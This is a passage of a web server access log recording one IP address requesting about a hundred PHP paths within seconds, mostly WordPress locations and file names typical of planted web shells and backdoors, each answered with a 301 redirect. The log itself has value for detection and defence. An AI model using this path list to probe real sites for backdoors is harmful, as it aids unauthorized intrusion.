like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:19 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:19 +0300] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:00:19 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:19 +0300] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:19 +0300] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:20 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:20 +0300] "GET /wp-includes/assets/husky301.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:20 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:20 +0300] "GET /wp-admin/css/colors/blue/wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:20 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:20 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:20 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:21 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:21 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:00:21 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:21 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:00:21 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:22 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:00:22 +0300] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:22 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:22 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:22 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:22 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:22 +0300] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:00:22 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:23 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:23 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:23 +0300] "GET /fonts/fontawesome-webfont.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:23 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:23 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:00:23 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:23 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:24 +0300] "GET /images/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:24 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:00:24 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:24 +0300] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:24 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.53.96 - - [02/Feb/2026:16:00:24 +0300] "GET /wp-content/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:24 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:24 +0300] "GET /wp-admin/css/colors/midnight/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:00:25 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:00:25 +0300] "GET /wp-includes/style-engine/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:25 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:25 +0300] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:25 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:25 +0300] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:25 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:25 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:26 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:26 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:26 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:00:26 +0300] "GET /wp-includes/infi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:26 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:26 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:26 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:27 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:27 +0300] "GET /images/index22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:00:27 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:27 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:27 +0300] "GET /wp-includes/pomo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:27 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:00:27 +0300] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:28 +0300] "GET /assets/script.js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:28 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:28 +0300] "GET /wp-admin/css/colors/sunrise/colors_95.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:28 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:28 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:00:28 +0300] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:28 +0300] "GET /cgi-bin/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:28 +0300] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:29 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:29 +0300] "GET /wp-includes/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:00:29 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:29 +0300] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:29 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:29 +0300] "GET /wp-includes/ID3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:29 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:29 +0300] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:30 +0300] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:30 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:00:30 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:30 +0300] "GET /wp-admin/js/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:30 +0300] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:30 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:30 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:30 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:00:31 +0300] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:31 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:31 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:31 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:31 +0300] "GET /wp-includes/js/jquery/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:32 +0300] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:32 +0300] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:00:32 +0300] "GET /wp-includes/images/media/dog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:32 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:32 +0300] "GET /wp-includes/SimplePie/applicationd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:32 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:32 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:33 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:33 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:33 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:33 +0300] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:33 +0300] "GET /wp-includes/IXR/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:33 +0300] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:00:33 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:33 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:34 +0300] "GET /wp-content/plugins/seoo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:34 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:34 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:00:34 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:00:34 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:00:34 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:34 +0300] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:00:34 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" 